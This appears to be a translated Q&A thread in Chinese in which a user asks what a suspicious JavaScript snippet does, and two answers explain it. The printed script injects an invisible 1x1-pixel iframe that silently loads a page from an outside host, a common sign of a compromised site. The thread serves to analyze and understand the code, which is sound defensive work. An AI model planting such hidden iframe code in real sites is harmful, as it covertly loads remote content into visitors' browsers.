惡意JavaScript代碼

Question

這個惡意JavaScript代碼究竟做了什麼？

(function() { 
    var qk = document.createElement('iframe'); 

    qk.src = 'http://xxx.tld/wp-includes/dtd.php'; 
    qk.style.position = 'absolute'; 
    qk.style.border = '0'; 
    qk.style.height = '1px'; 
    qk.style.width = '1px'; 
    qk.style.left = '1px'; 
    qk.style.top = '1px'; 

    if (!document.getElementById('qk')) { 
     document.write('<div id=\'qk\'></div>'); 
     document.getElementById('qk').appendChild(qk); 
    } 
})(); 

http://xxx.tld/wp-includes/dtd.php的網站只是返回OK。

Answer 1

是：

(function() { 
    var qk = document.createElement('iframe'); // creating an iframe 

    qk.src = 'http://xxx.tld/wp-includes/dtd.php'; // pointing it at a webpage 

    /* 
    making the iframe only take up a 1px by 1px square 
    in the top left-hand corner of the web page it is injected into 
    */ 
    qk.style.position = 'absolute'; 
    qk.style.border = '0'; 
    qk.style.height = '1px'; 
    qk.style.width = '1px'; 
    qk.style.left = '1px'; 
    qk.style.top = '1px'; 

    /* 
    Adding the iframe to the DOM by creating a <div> with an ID of "qt" 
    (If the div has not been created already) 
    */  
    if (!document.getElementById('qk')) { 
     document.write('<div id=\'qk\'></div>'); 
     document.getElementById('qk').appendChild(qk); 
    } 
})(); 

當IFRAME注入DOM瀏覽器會主動要求http://xxx.tld/etc。這很可能是爲了跟蹤您網站上的點擊次數。

Answer 2

它打開一個iframe並運行一個php腳本。

其中可能包含誰知道什麼。

此外它似乎需要存在一個ID爲qk的div。 也許要注入其他不好的代碼。